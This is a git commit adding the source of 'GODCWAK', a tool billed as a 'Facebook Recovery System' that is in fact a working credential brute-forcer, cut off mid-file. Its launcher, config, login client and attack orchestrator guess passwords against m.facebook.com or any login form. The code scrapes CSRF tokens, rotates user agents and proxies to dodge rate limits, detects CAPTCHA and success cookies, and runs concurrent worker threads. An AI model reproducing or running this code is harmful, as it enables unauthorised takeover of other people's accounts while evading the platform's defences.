Add full application source
This commit is contained in:
20
.gitignore
vendored
Normal file
20
.gitignore
vendored
Normal file
@@ -0,0 +1,20 @@
|
|||||||
|
__pycache__/
|
||||||
|
*.py[cod]
|
||||||
|
*$py.class
|
||||||
|
|
||||||
|
.venv/
|
||||||
|
venv/
|
||||||
|
env/
|
||||||
|
|
||||||
|
data/
|
||||||
|
*.log
|
||||||
|
attempt_log.csv
|
||||||
|
passwords.txt
|
||||||
|
proxies.txt
|
||||||
|
valid_proxies.txt
|
||||||
|
|
||||||
|
.env
|
||||||
|
*.env
|
||||||
|
|
||||||
|
Screenshot *.png
|
||||||
|
*.tmp
|
||||||
49
GODCWAK.bat
Normal file
49
GODCWAK.bat
Normal file
@@ -0,0 +1,49 @@
|
|||||||
|
@echo off
|
||||||
|
title GODCWAK Launcher
|
||||||
|
color 0A
|
||||||
|
|
||||||
|
echo.
|
||||||
|
echo =========================================
|
||||||
|
echo GODCWAK v1.0 - Starting...
|
||||||
|
echo =========================================
|
||||||
|
echo.
|
||||||
|
|
||||||
|
:: Change to the folder this .bat lives in so relative imports work
|
||||||
|
cd /d "%~dp0"
|
||||||
|
|
||||||
|
:: Prefer the project virtual environment, then the Python launcher, then PATH.
|
||||||
|
set PYTHON_EXE=
|
||||||
|
set PYTHON_ARGS=
|
||||||
|
if exist "%~dp0.venv\Scripts\python.exe" (
|
||||||
|
set "PYTHON_EXE=%~dp0.venv\Scripts\python.exe"
|
||||||
|
) else (
|
||||||
|
py -3 --version >nul 2>&1
|
||||||
|
if %ERRORLEVEL% EQU 0 (
|
||||||
|
set "PYTHON_EXE=py"
|
||||||
|
set "PYTHON_ARGS=-3"
|
||||||
|
) else (
|
||||||
|
python --version >nul 2>&1
|
||||||
|
if %ERRORLEVEL% EQU 0 (
|
||||||
|
set "PYTHON_EXE=python"
|
||||||
|
)
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
if "%PYTHON_EXE%"=="" (
|
||||||
|
echo [ERROR] Python 3 not found. Install Python or create .venv first.
|
||||||
|
echo.
|
||||||
|
pause
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
|
||||||
|
:: Launch
|
||||||
|
"%PYTHON_EXE%" %PYTHON_ARGS% main.py
|
||||||
|
|
||||||
|
:: If Python exited with an error, pause so the user can read it
|
||||||
|
if %ERRORLEVEL% NEQ 0 (
|
||||||
|
echo.
|
||||||
|
echo [!] GODCWAK exited with error code %ERRORLEVEL%
|
||||||
|
echo Check the output above for details.
|
||||||
|
echo.
|
||||||
|
pause
|
||||||
|
)
|
||||||
85
config.py
Normal file
85
config.py
Normal file
@@ -0,0 +1,85 @@
|
|||||||
|
"""
|
||||||
|
Configuration and constants for the Facebook Recovery System.
|
||||||
|
"""
|
||||||
|
import os
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
# Paths
|
||||||
|
BASE_DIR = Path(__file__).parent
|
||||||
|
DATA_DIR = BASE_DIR / "data"
|
||||||
|
ASSETS_DIR = BASE_DIR / "assets"
|
||||||
|
|
||||||
|
# Ensure data directory exists
|
||||||
|
DATA_DIR.mkdir(exist_ok=True)
|
||||||
|
|
||||||
|
# Proxy source settings (free public sources — no API key needed)
|
||||||
|
PROXIFLY_API_KEY = ""
|
||||||
|
PROXIFLY_API_URL = ""
|
||||||
|
PROXIFLY_FALLBACK_URL = ""
|
||||||
|
|
||||||
|
# Facebook
|
||||||
|
FACEBOOK_LOGIN_URL = "https://m.facebook.com/login.php"
|
||||||
|
FACEBOOK_BASE_URL = "https://m.facebook.com"
|
||||||
|
|
||||||
|
# Proxy Settings
|
||||||
|
MAX_PROXIES = 2000
|
||||||
|
PROXY_TEST_TIMEOUT = 10 # seconds
|
||||||
|
PROXY_TEST_URL = "http://httpbin.org/ip"
|
||||||
|
PROXY_REFRESH_INTERVAL = 300 # seconds (5 min)
|
||||||
|
|
||||||
|
# Attack Settings
|
||||||
|
DEFAULT_DELAY_MIN = 0.5 # seconds
|
||||||
|
DEFAULT_DELAY_MAX = 2.0 # seconds
|
||||||
|
MAX_CONCURRENT_WORKERS = 3 # parallel attack threads
|
||||||
|
PROXY_ROTATION_EVERY = 1 # rotate proxy every N attempts (1 = each attempt)
|
||||||
|
REQUEST_TIMEOUT = 20 # seconds per HTTP request
|
||||||
|
|
||||||
|
# Proxy Testing
|
||||||
|
PROXY_TEST_CONCURRENCY = 100 # concurrent proxy health-check connections
|
||||||
|
|
||||||
|
# Password Generation
|
||||||
|
DEFAULT_MIN_LENGTH = 6
|
||||||
|
DEFAULT_MAX_LENGTH = 32
|
||||||
|
GPU_THRESHOLD = 50_000 # use GPU when combinations exceed this
|
||||||
|
|
||||||
|
# File Paths
|
||||||
|
PASSWORDS_FILE = DATA_DIR / "passwords.txt"
|
||||||
|
PROXIES_FILE = DATA_DIR / "proxies.txt"
|
||||||
|
VALID_PROXIES_FILE = DATA_DIR / "valid_proxies.txt"
|
||||||
|
ATTEMPT_LOG_FILE = DATA_DIR / "attempt_log.csv"
|
||||||
|
OLLAMA_CONFIG_FILE = BASE_DIR / "config_ollama.json"
|
||||||
|
|
||||||
|
DEFAULT_OLLAMA_CONFIG = {
|
||||||
|
"ollama_host": "http://localhost:11434",
|
||||||
|
"model": "",
|
||||||
|
"timeout": 60,
|
||||||
|
"temperature": 0.1,
|
||||||
|
"top_p": 0.9,
|
||||||
|
"max_tokens": 512,
|
||||||
|
"prompt_template": "",
|
||||||
|
"browser_engine": "Playwright",
|
||||||
|
"headless": False,
|
||||||
|
"viewport": "1280x720",
|
||||||
|
"mouse_delay_ms": 50,
|
||||||
|
"retry_limit": 3,
|
||||||
|
}
|
||||||
|
|
||||||
|
# GUI Theme Colors
|
||||||
|
THEME = {
|
||||||
|
"bg_dark": "#0a0a0f",
|
||||||
|
"bg_medium": "#12121a",
|
||||||
|
"bg_light": "#1a1a2e",
|
||||||
|
"primary": "#00f0ff",
|
||||||
|
"secondary": "#ff00aa",
|
||||||
|
"tertiary": "#7700ff",
|
||||||
|
"text_primary": "#e0e0ff",
|
||||||
|
"text_secondary": "#8888aa",
|
||||||
|
"text_dim": "#555577",
|
||||||
|
"success": "#00ff88",
|
||||||
|
"warning": "#ffaa00",
|
||||||
|
"error": "#ff3355",
|
||||||
|
"border": "#2a2a4a",
|
||||||
|
"glow_cyan": "#00f0ff33",
|
||||||
|
"glow_pink": "#ff00aa33",
|
||||||
|
"glow_purple": "#7700ff33",
|
||||||
|
}
|
||||||
14
config_ollama.json
Normal file
14
config_ollama.json
Normal file
@@ -0,0 +1,14 @@
|
|||||||
|
{
|
||||||
|
"ollama_host": "http://localhost:11434",
|
||||||
|
"model": "",
|
||||||
|
"timeout": 60,
|
||||||
|
"temperature": 0.1,
|
||||||
|
"top_p": 0.9,
|
||||||
|
"max_tokens": 512,
|
||||||
|
"prompt_template": "",
|
||||||
|
"browser_engine": "Playwright",
|
||||||
|
"headless": false,
|
||||||
|
"viewport": "1280x720",
|
||||||
|
"mouse_delay_ms": 50,
|
||||||
|
"retry_limit": 3
|
||||||
|
}
|
||||||
94
main.py
Normal file
94
main.py
Normal file
@@ -0,0 +1,94 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Facebook Recovery System v1.0
|
||||||
|
GPU-accelerated password recovery tool with proxy rotation.
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
python main.py
|
||||||
|
|
||||||
|
Requirements:
|
||||||
|
pip install -r requirements.txt
|
||||||
|
"""
|
||||||
|
import logging
|
||||||
|
import sys
|
||||||
|
import os
|
||||||
|
|
||||||
|
# Add project root to path
|
||||||
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
|
|
||||||
|
# Configure logging
|
||||||
|
logging.basicConfig(
|
||||||
|
level=logging.INFO,
|
||||||
|
format="[%(asctime)s] %(levelname)s: %(message)s",
|
||||||
|
datefmt="%H:%M:%S",
|
||||||
|
)
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
def check_dependencies():
|
||||||
|
"""Check that critical dependencies are available."""
|
||||||
|
missing = []
|
||||||
|
|
||||||
|
try:
|
||||||
|
import customtkinter
|
||||||
|
except ImportError:
|
||||||
|
missing.append("customtkinter")
|
||||||
|
|
||||||
|
try:
|
||||||
|
import requests
|
||||||
|
except ImportError:
|
||||||
|
missing.append("requests")
|
||||||
|
|
||||||
|
try:
|
||||||
|
import numpy
|
||||||
|
except ImportError:
|
||||||
|
missing.append("numpy")
|
||||||
|
|
||||||
|
# GPU libraries are optional
|
||||||
|
try:
|
||||||
|
import cupy
|
||||||
|
logger.info("✅ CuPy detected — GPU acceleration available")
|
||||||
|
except ImportError:
|
||||||
|
logger.warning("⚠️ CuPy not installed — GPU acceleration disabled")
|
||||||
|
logger.warning(" Install with: pip install cupy-cuda12x")
|
||||||
|
|
||||||
|
try:
|
||||||
|
import numba
|
||||||
|
logger.info("✅ Numba detected")
|
||||||
|
except ImportError:
|
||||||
|
logger.warning("⚠️ Numba not installed — some optimizations disabled")
|
||||||
|
|
||||||
|
if missing:
|
||||||
|
logger.error(f"Missing required dependencies: {', '.join(missing)}")
|
||||||
|
logger.error("Install with: pip install -r requirements.txt")
|
||||||
|
return False
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
"""Application entry point."""
|
||||||
|
logger.info("=" * 60)
|
||||||
|
logger.info(" GODCWAK v1.0")
|
||||||
|
logger.info("=" * 60)
|
||||||
|
|
||||||
|
if not check_dependencies():
|
||||||
|
input("\nPress Enter to exit...")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
try:
|
||||||
|
from src.gui.app import FacebookRecoveryApp
|
||||||
|
|
||||||
|
app = FacebookRecoveryApp()
|
||||||
|
logger.info("Application started successfully")
|
||||||
|
app.mainloop()
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Fatal error: {e}", exc_info=True)
|
||||||
|
input("\nPress Enter to exit...")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
20
requirements.txt
Normal file
20
requirements.txt
Normal file
@@ -0,0 +1,20 @@
|
|||||||
|
# Core GUI
|
||||||
|
customtkinter>=5.2.0
|
||||||
|
Pillow>=10.0.0
|
||||||
|
|
||||||
|
# GPU Acceleration
|
||||||
|
cupy-cuda12x>=13.0.0
|
||||||
|
numba>=0.59.0
|
||||||
|
|
||||||
|
# Networking
|
||||||
|
requests[socks]>=2.31.0
|
||||||
|
aiohttp>=3.9.0
|
||||||
|
aiohttp-socks>=0.8.0
|
||||||
|
|
||||||
|
# Data Processing
|
||||||
|
numpy>=1.26.0
|
||||||
|
pandas>=2.1.0
|
||||||
|
|
||||||
|
# Utilities
|
||||||
|
colorama>=0.4.6
|
||||||
|
python-dotenv>=1.0.0
|
||||||
0
src/__init__.py
Normal file
0
src/__init__.py
Normal file
0
src/attack/__init__.py
Normal file
0
src/attack/__init__.py
Normal file
7
src/attack/facebook_client.py
Normal file
7
src/attack/facebook_client.py
Normal file
@@ -0,0 +1,7 @@
|
|||||||
|
"""
|
||||||
|
Backward-compatibility shim — the generic LoginClient replaces FacebookClient.
|
||||||
|
Any code that imports FacebookClient or LoginResult from here still works.
|
||||||
|
"""
|
||||||
|
from src.attack.login_client import LoginClient as FacebookClient, LoginResult, SiteConfig # noqa: F401
|
||||||
|
|
||||||
|
__all__ = ["FacebookClient", "LoginResult", "SiteConfig"]
|
||||||
229
src/attack/login_client.py
Normal file
229
src/attack/login_client.py
Normal file
@@ -0,0 +1,229 @@
|
|||||||
|
"""
|
||||||
|
Generic login client — submits credential pairs to any HTML form-based login URL.
|
||||||
|
Defaults to Facebook (m.facebook.com) behaviour; fully configurable for other sites.
|
||||||
|
"""
|
||||||
|
import logging
|
||||||
|
import re
|
||||||
|
import time
|
||||||
|
from dataclasses import dataclass, field
|
||||||
|
from typing import Dict, List, Optional
|
||||||
|
from urllib.parse import urlparse, urljoin
|
||||||
|
|
||||||
|
import requests
|
||||||
|
from src.attack.user_agents import get_random_mobile_ua, get_random_facebook_ua
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class SiteConfig:
|
||||||
|
"""Per-site configuration for the generic login client."""
|
||||||
|
login_url: str = "https://m.facebook.com/login.php"
|
||||||
|
base_url: str = "https://m.facebook.com"
|
||||||
|
|
||||||
|
# HTML form field names
|
||||||
|
username_field: str = "email"
|
||||||
|
password_field: str = "pass"
|
||||||
|
|
||||||
|
# Extra static POST fields (e.g. Facebook's login_source)
|
||||||
|
extra_fields: Dict[str, str] = field(default_factory=lambda: {
|
||||||
|
"login_source": "comet_headerless",
|
||||||
|
"login": "Log In",
|
||||||
|
})
|
||||||
|
|
||||||
|
# Token scraping (CSRF)
|
||||||
|
csrf_field: str = "lsd" # empty string to disable
|
||||||
|
csrf_patterns: List[str] = field(default_factory=lambda: [
|
||||||
|
r'name="lsd"[^>]*value="([^"]+)"',
|
||||||
|
r'"lsd"[^}]*?"([^"]+)"',
|
||||||
|
])
|
||||||
|
|
||||||
|
# Success / failure detection in response body or URL
|
||||||
|
success_cookies: List[str] = field(default_factory=lambda: ["c_user", "sb"])
|
||||||
|
success_url_fragments: List[str] = field(default_factory=lambda: ["home", "feed", "stories"])
|
||||||
|
failure_url_fragments: List[str] = field(default_factory=lambda: ["login", "checkpoint"])
|
||||||
|
captcha_indicators: List[str] = field(default_factory=lambda: [
|
||||||
|
"captcha", "security check", "confirm your identity",
|
||||||
|
"unusual activity", "verify", "prove you",
|
||||||
|
])
|
||||||
|
rate_limit_indicators: List[str] = field(default_factory=lambda: [
|
||||||
|
"too many", "try again later", "rate limit",
|
||||||
|
])
|
||||||
|
wrong_pass_indicators: List[str] = field(default_factory=lambda: [
|
||||||
|
"incorrect", "wrong password", "invalid", "didn't match",
|
||||||
|
"password you entered", "not match",
|
||||||
|
])
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def for_url(cls, url: str) -> "SiteConfig":
|
||||||
|
"""Build a minimal config for an arbitrary URL (generic form POST)."""
|
||||||
|
parsed = urlparse(url)
|
||||||
|
base = f"{parsed.scheme}://{parsed.netloc}"
|
||||||
|
return cls(
|
||||||
|
login_url=url,
|
||||||
|
base_url=base,
|
||||||
|
extra_fields={},
|
||||||
|
csrf_field="",
|
||||||
|
success_cookies=[],
|
||||||
|
success_url_fragments=[],
|
||||||
|
failure_url_fragments=["login", "signin", "auth"],
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class LoginResult:
|
||||||
|
success: bool
|
||||||
|
status_code: int
|
||||||
|
response_time_ms: float
|
||||||
|
message: str
|
||||||
|
captcha_detected: bool = False
|
||||||
|
cookies: Optional[Dict] = None
|
||||||
|
redirect_url: Optional[str] = None
|
||||||
|
|
||||||
|
|
||||||
|
class LoginClient:
|
||||||
|
"""
|
||||||
|
Generic HTML-form login client.
|
||||||
|
Rotate User-Agents, fetch CSRF tokens, POST credentials, analyse response.
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(
|
||||||
|
self,
|
||||||
|
site_config: Optional[SiteConfig] = None,
|
||||||
|
request_timeout: int = 20,
|
||||||
|
):
|
||||||
|
self.site = site_config or SiteConfig()
|
||||||
|
self.request_timeout = request_timeout
|
||||||
|
self.session = requests.Session()
|
||||||
|
self.session.headers.update({
|
||||||
|
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
||||||
|
"Accept-Language": "en-US,en;q=0.5",
|
||||||
|
"Accept-Encoding": "gzip, deflate, br",
|
||||||
|
"Connection": "keep-alive",
|
||||||
|
"Upgrade-Insecure-Requests": "1",
|
||||||
|
})
|
||||||
|
|
||||||
|
def reconfigure(self, site_config: SiteConfig):
|
||||||
|
self.site = site_config
|
||||||
|
self.session.cookies.clear()
|
||||||
|
|
||||||
|
# ── CSRF helper ───────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _get_csrf_token(self, proxies: Dict) -> str:
|
||||||
|
if not self.site.csrf_field:
|
||||||
|
return ""
|
||||||
|
try:
|
||||||
|
ua = get_random_mobile_ua()
|
||||||
|
resp = self.session.get(
|
||||||
|
self.site.login_url,
|
||||||
|
proxies=proxies,
|
||||||
|
headers={"User-Agent": ua},
|
||||||
|
timeout=self.request_timeout,
|
||||||
|
)
|
||||||
|
for pattern in self.site.csrf_patterns:
|
||||||
|
m = re.search(pattern, resp.text)
|
||||||
|
if m:
|
||||||
|
return m.group(1)
|
||||||
|
except Exception as e:
|
||||||
|
logger.debug(f"CSRF token fetch failed: {e}")
|
||||||
|
return ""
|
||||||
|
|
||||||
|
# ── Core attempt ─────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def attempt_login(
|
||||||
|
self,
|
||||||
|
username: str,
|
||||||
|
password: str,
|
||||||
|
proxy_string: Optional[str] = None,
|
||||||
|
) -> LoginResult:
|
||||||
|
start = time.time()
|
||||||
|
proxies = self._build_proxies(proxy_string)
|
||||||
|
ua = get_random_facebook_ua()
|
||||||
|
|
||||||
|
try:
|
||||||
|
csrf = self._get_csrf_token(proxies)
|
||||||
|
|
||||||
|
payload: Dict[str, str] = {
|
||||||
|
self.site.username_field: username,
|
||||||
|
self.site.password_field: password,
|
||||||
|
}
|
||||||
|
if self.site.csrf_field and csrf:
|
||||||
|
payload[self.site.csrf_field] = csrf
|
||||||
|
payload.update(self.site.extra_fields)
|
||||||
|
|
||||||
|
headers = {
|
||||||
|
"User-Agent": ua,
|
||||||
|
"Origin": self.site.base_url,
|
||||||
|
"Referer": self.site.login_url,
|
||||||
|
"Content-Type": "application/x-www-form-urlencoded",
|
||||||
|
"Cache-Control": "max-age=0",
|
||||||
|
}
|
||||||
|
|
||||||
|
resp = self.session.post(
|
||||||
|
self.site.login_url,
|
||||||
|
data=payload,
|
||||||
|
proxies=proxies,
|
||||||
|
headers=headers,
|
||||||
|
timeout=self.request_timeout,
|
||||||
|
allow_redirects=True,
|
||||||
|
)
|
||||||
|
elapsed = (time.time() - start) * 1000
|
||||||
|
return self._analyse(resp, password, elapsed)
|
||||||
|
|
||||||
|
except requests.ConnectTimeout:
|
||||||
|
return LoginResult(False, 0, _ms(start), "Connection timeout")
|
||||||
|
except requests.ProxyError as e:
|
||||||
|
return LoginResult(False, 0, _ms(start), f"Proxy error: {str(e)[:80]}")
|
||||||
|
except requests.ConnectionError as e:
|
||||||
|
return LoginResult(False, 0, _ms(start), f"Connection error: {str(e)[:80]}")
|
||||||
|
except Exception as e:
|
||||||
|
return LoginResult(False, 0, _ms(start), f"Error: {str(e)[:100]}")
|
||||||
|
|
||||||
|
def _analyse(self, resp: requests.Response, password: str, elapsed: float) -> LoginResult:
|
||||||
|
url = resp.url.lower()
|
||||||
|
text = resp.text.lower()
|
||||||
|
code = resp.status_code
|
||||||
|
|
||||||
|
# ── Captcha check first ───────────────────────────────────────────
|
||||||
|
if any(kw in text for kw in self.site.captcha_indicators):
|
||||||
|
return LoginResult(False, code, round(elapsed, 1),
|
||||||
|
"CAPTCHA detected", captcha_detected=True)
|
||||||
|
|
||||||
|
# ── Cookie-based success ──────────────────────────────────────────
|
||||||
|
for cookie in self.site.success_cookies:
|
||||||
|
if cookie in resp.cookies:
|
||||||
|
logger.info(f"SUCCESS via cookie '{cookie}': {password}")
|
||||||
|
return LoginResult(True, code, round(elapsed, 1),
|
||||||
|
"Login successful!",
|
||||||
|
cookies=dict(resp.cookies),
|
||||||
|
redirect_url=resp.url)
|
||||||
|
|
||||||
|
# ── URL-redirect success ──────────────────────────────────────────
|
||||||
|
failed_frag = any(f in url for f in self.site.failure_url_fragments)
|
||||||
|
if not failed_frag and code == 200:
|
||||||
|
if any(f in url for f in self.site.success_url_fragments):
|
||||||
|
logger.info(f"Possible SUCCESS via redirect to: {url}")
|
||||||
|
return LoginResult(True, code, round(elapsed, 1),
|
||||||
|
f"Redirected to: {url[:60]}",
|
||||||
|
cookies=dict(resp.cookies),
|
||||||
|
redirect_url=resp.url)
|
||||||
|
|
||||||
|
# ── Rate-limit ────────────────────────────────────────────────────
|
||||||
|
if any(kw in text for kw in self.site.rate_limit_indicators):
|
||||||
|
return LoginResult(False, code, round(elapsed, 1), "Rate limited")
|
||||||
|
|
||||||
|
# ── Wrong password ────────────────────────────────────────────────
|
||||||
|
if any(kw in text for kw in self.site.wrong_pass_indicators):
|
||||||
|
return LoginResult(False, code, round(elapsed, 1), "Incorrect password")
|
||||||
|
|
||||||
|
return LoginResult(False, code, round(elapsed, 1), f"Failed (HTTP {code})")
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _build_proxies(proxy_string: Optional[str]) -> Dict:
|
||||||
|
if not proxy_string:
|
||||||
|
return {}
|
||||||
|
return {"http": proxy_string, "https": proxy_string}
|
||||||
|
|
||||||
|
|
||||||
|
def _ms(start: float) -> float:
|
||||||
|
return round((time.time() - start) * 1000, 1)
|
||||||
328
src/attack/orchestrator.py
Normal file
328
src/attack/orchestrator.py
Normal file
@@ -0,0 +1,328 @@
|
|||||||
|
"""
|
||||||
|
Attack orchestrator — multi-worker concurrent credential attack through rotating proxies.
|
||||||
|
Uses the generic LoginClient so it works against any site (Facebook, custom URL, etc.).
|
||||||
|
Optionally calls CaptchaSolver when a CAPTCHA is detected in the response.
|
||||||
|
"""
|
||||||
|
import logging
|
||||||
|
import random
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
from dataclasses import dataclass, field
|
||||||
|
from enum import Enum
|
||||||
|
from typing import Callable, List, Optional
|
||||||
|
from urllib.parse import urlparse
|
||||||
|
|
||||||
|
from src.attack.login_client import LoginClient, LoginResult, SiteConfig
|
||||||
|
from src.proxy.pool import ProxyPool
|
||||||
|
from src.utils.logger import AttemptLogger
|
||||||
|
from config import (
|
||||||
|
DEFAULT_DELAY_MIN, DEFAULT_DELAY_MAX,
|
||||||
|
MAX_CONCURRENT_WORKERS, PROXY_ROTATION_EVERY, REQUEST_TIMEOUT,
|
||||||
|
)
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class AttackState(Enum):
|
||||||
|
IDLE = "idle"
|
||||||
|
RUNNING = "running"
|
||||||
|
PAUSED = "paused"
|
||||||
|
STOPPED = "stopped"
|
||||||
|
COMPLETED = "completed"
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class AttackStats:
|
||||||
|
total_attempts: int = 0
|
||||||
|
successful_attempts: int = 0
|
||||||
|
failed_attempts: int = 0
|
||||||
|
rate_limited: int = 0
|
||||||
|
proxy_errors: int = 0
|
||||||
|
captchas_hit: int = 0
|
||||||
|
passwords_tried: int = 0
|
||||||
|
proxies_used: int = 0
|
||||||
|
start_time: float = 0
|
||||||
|
elapsed_seconds: float = 0
|
||||||
|
attempts_per_second: float = 0
|
||||||
|
current_password: str = ""
|
||||||
|
current_proxy: str = ""
|
||||||
|
active_workers: int = 0
|
||||||
|
|
||||||
|
|
||||||
|
class AttackOrchestrator:
|
||||||
|
"""
|
||||||
|
Multi-threaded credential attack coordinator.
|
||||||
|
Spawns N worker threads, each independently pulling passwords and proxies.
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(
|
||||||
|
self,
|
||||||
|
proxy_pool: ProxyPool,
|
||||||
|
login_client: Optional[LoginClient] = None,
|
||||||
|
logger_instance: Optional[AttemptLogger] = None,
|
||||||
|
):
|
||||||
|
self.proxy_pool = proxy_pool
|
||||||
|
self.login_client = login_client or LoginClient()
|
||||||
|
self.logger = logger_instance or AttemptLogger()
|
||||||
|
|
||||||
|
# Keep the old attribute name so existing attack_tab.py references work
|
||||||
|
self.facebook_client = self.login_client
|
||||||
|
|
||||||
|
self.state = AttackState.IDLE
|
||||||
|
self.stats = AttackStats()
|
||||||
|
self._lock = threading.Lock()
|
||||||
|
self._threads: List[threading.Thread] = []
|
||||||
|
|
||||||
|
# GUI callbacks (always invoked via self.after() in the tab)
|
||||||
|
self.on_stats_update: Optional[Callable] = None
|
||||||
|
self.on_log_entry: Optional[Callable] = None
|
||||||
|
self.on_success: Optional[Callable] = None
|
||||||
|
self.on_state_change: Optional[Callable] = None
|
||||||
|
self.on_captcha: Optional[Callable] = None # (proxy_str) → image_bytes or None
|
||||||
|
|
||||||
|
# Runtime config
|
||||||
|
self.username: str = ""
|
||||||
|
self.passwords: List[str] = []
|
||||||
|
self.site_config: Optional[SiteConfig] = None
|
||||||
|
self.delay_min: float = DEFAULT_DELAY_MIN
|
||||||
|
self.delay_max: float = DEFAULT_DELAY_MAX
|
||||||
|
self.max_workers: int = MAX_CONCURRENT_WORKERS
|
||||||
|
self.proxy_rotation_every: int = PROXY_ROTATION_EVERY
|
||||||
|
self.request_timeout: int = REQUEST_TIMEOUT
|
||||||
|
|
||||||
|
self._password_index: int = 0
|
||||||
|
self._workers_active: int = 0
|
||||||
|
|
||||||
|
# ── Public API ───────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def configure(
|
||||||
|
self,
|
||||||
|
username: str,
|
||||||
|
passwords: List[str],
|
||||||
|
site_config: Optional[SiteConfig] = None,
|
||||||
|
):
|
||||||
|
self.username = username
|
||||||
|
self.passwords = passwords
|
||||||
|
self.site_config = site_config
|
||||||
|
self._password_index = 0
|
||||||
|
if site_config:
|
||||||
|
self.login_client.reconfigure(site_config)
|
||||||
|
self.login_client.request_timeout = self.request_timeout
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
if self.state == AttackState.RUNNING:
|
||||||
|
return
|
||||||
|
if not self.username or not self.passwords:
|
||||||
|
logger.error("Username and passwords required")
|
||||||
|
return
|
||||||
|
|
||||||
|
self.state = AttackState.RUNNING
|
||||||
|
self.stats = AttackStats()
|
||||||
|
self.stats.start_time = time.time()
|
||||||
|
self._password_index = 0
|
||||||
|
self._workers_active = self.max_workers
|
||||||
|
|
||||||
|
if self.on_state_change:
|
||||||
|
self.on_state_change(self.state)
|
||||||
|
|
||||||
|
self._threads = []
|
||||||
|
for i in range(self.max_workers):
|
||||||
|
t = threading.Thread(
|
||||||
|
target=self._run_worker, args=(i,),
|
||||||
|
daemon=True, name=f"Worker-{i}")
|
||||||
|
t.start()
|
||||||
|
self._threads.append(t)
|
||||||
|
|
||||||
|
logger.info(
|
||||||
|
f"Attack started: {len(self.passwords)} passwords, "
|
||||||
|
f"{self.max_workers} workers, target={self.username}")
|
||||||
|
|
||||||
|
def pause(self):
|
||||||
|
if self.state == AttackState.RUNNING:
|
||||||
|
self.state = AttackState.PAUSED
|
||||||
|
if self.on_state_change:
|
||||||
|
self.on_state_change(self.state)
|
||||||
|
|
||||||
|
def resume(self):
|
||||||
|
if self.state == AttackState.PAUSED:
|
||||||
|
self.state = AttackState.RUNNING
|
||||||
|
if self.on_state_change:
|
||||||
|
self.on_state_change(self.state)
|
||||||
|
|
||||||
|
def stop(self):
|
||||||
|
self.state = AttackState.STOPPED
|
||||||
|
if self.on_state_change:
|
||||||
|
self.on_state_change(self.state)
|
||||||
|
|
||||||
|
# ── Worker loop ──────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _run_worker(self, worker_id: int):
|
||||||
|
rotation_counter = 0
|
||||||
|
current_proxy: Optional[str] = None
|
||||||
|
|
||||||
|
try:
|
||||||
|
while self.state not in (AttackState.STOPPED, AttackState.COMPLETED):
|
||||||
|
if self.state == AttackState.PAUSED:
|
||||||
|
time.sleep(0.1)
|
||||||
|
continue
|
||||||
|
|
||||||
|
password = self._get_next_password()
|
||||||
|
if password is None:
|
||||||
|
break
|
||||||
|
|
||||||
|
rotation_counter += 1
|
||||||
|
if current_proxy is None or rotation_counter >= self.proxy_rotation_every:
|
||||||
|
current_proxy = self.proxy_pool.get_proxy()
|
||||||
|
rotation_counter = 0
|
||||||
|
|
||||||
|
if current_proxy is None:
|
||||||
|
logger.warning(f"[W{worker_id}] No proxies — waiting 2s")
|
||||||
|
time.sleep(2)
|
||||||
|
with self._lock:
|
||||||
|
self._password_index -= 1
|
||||||
|
continue
|
||||||
|
|
||||||
|
with self._lock:
|
||||||
|
self.stats.current_password = password
|
||||||
|
self.stats.current_proxy = current_proxy
|
||||||
|
self.stats.active_workers = self._workers_active
|
||||||
|
|
||||||
|
result: LoginResult = self.login_client.attempt_login(
|
||||||
|
username=self.username,
|
||||||
|
password=password,
|
||||||
|
proxy_string=current_proxy,
|
||||||
|
)
|
||||||
|
|
||||||
|
# ── Handle CAPTCHA ─────────────────────────────────────
|
||||||
|
if result.captcha_detected:
|
||||||
|
with self._lock:
|
||||||
|
self.stats.captchas_hit += 1
|
||||||
|
logger.info(f"[W{worker_id}] CAPTCHA hit — notifying GUI")
|
||||||
|
if self.on_captcha:
|
||||||
|
self.on_captcha(current_proxy)
|
||||||
|
# Re-queue this password and rotate proxy
|
||||||
|
with self._lock:
|
||||||
|
self._password_index -= 1
|
||||||
|
# CAPTCHA/rate-limit proxies are held out of immediate rotation.
|
||||||
|
current_proxy = None
|
||||||
|
time.sleep(random.uniform(2.0, 5.0))
|
||||||
|
continue
|
||||||
|
|
||||||
|
# ── Accumulate stats ───────────────────────────────────
|
||||||
|
with self._lock:
|
||||||
|
self.stats.total_attempts += 1
|
||||||
|
self.stats.passwords_tried = self._password_index
|
||||||
|
self.stats.proxies_used += 1
|
||||||
|
self.stats.elapsed_seconds = time.time() - self.stats.start_time
|
||||||
|
self.stats.attempts_per_second = (
|
||||||
|
self.stats.total_attempts / self.stats.elapsed_seconds
|
||||||
|
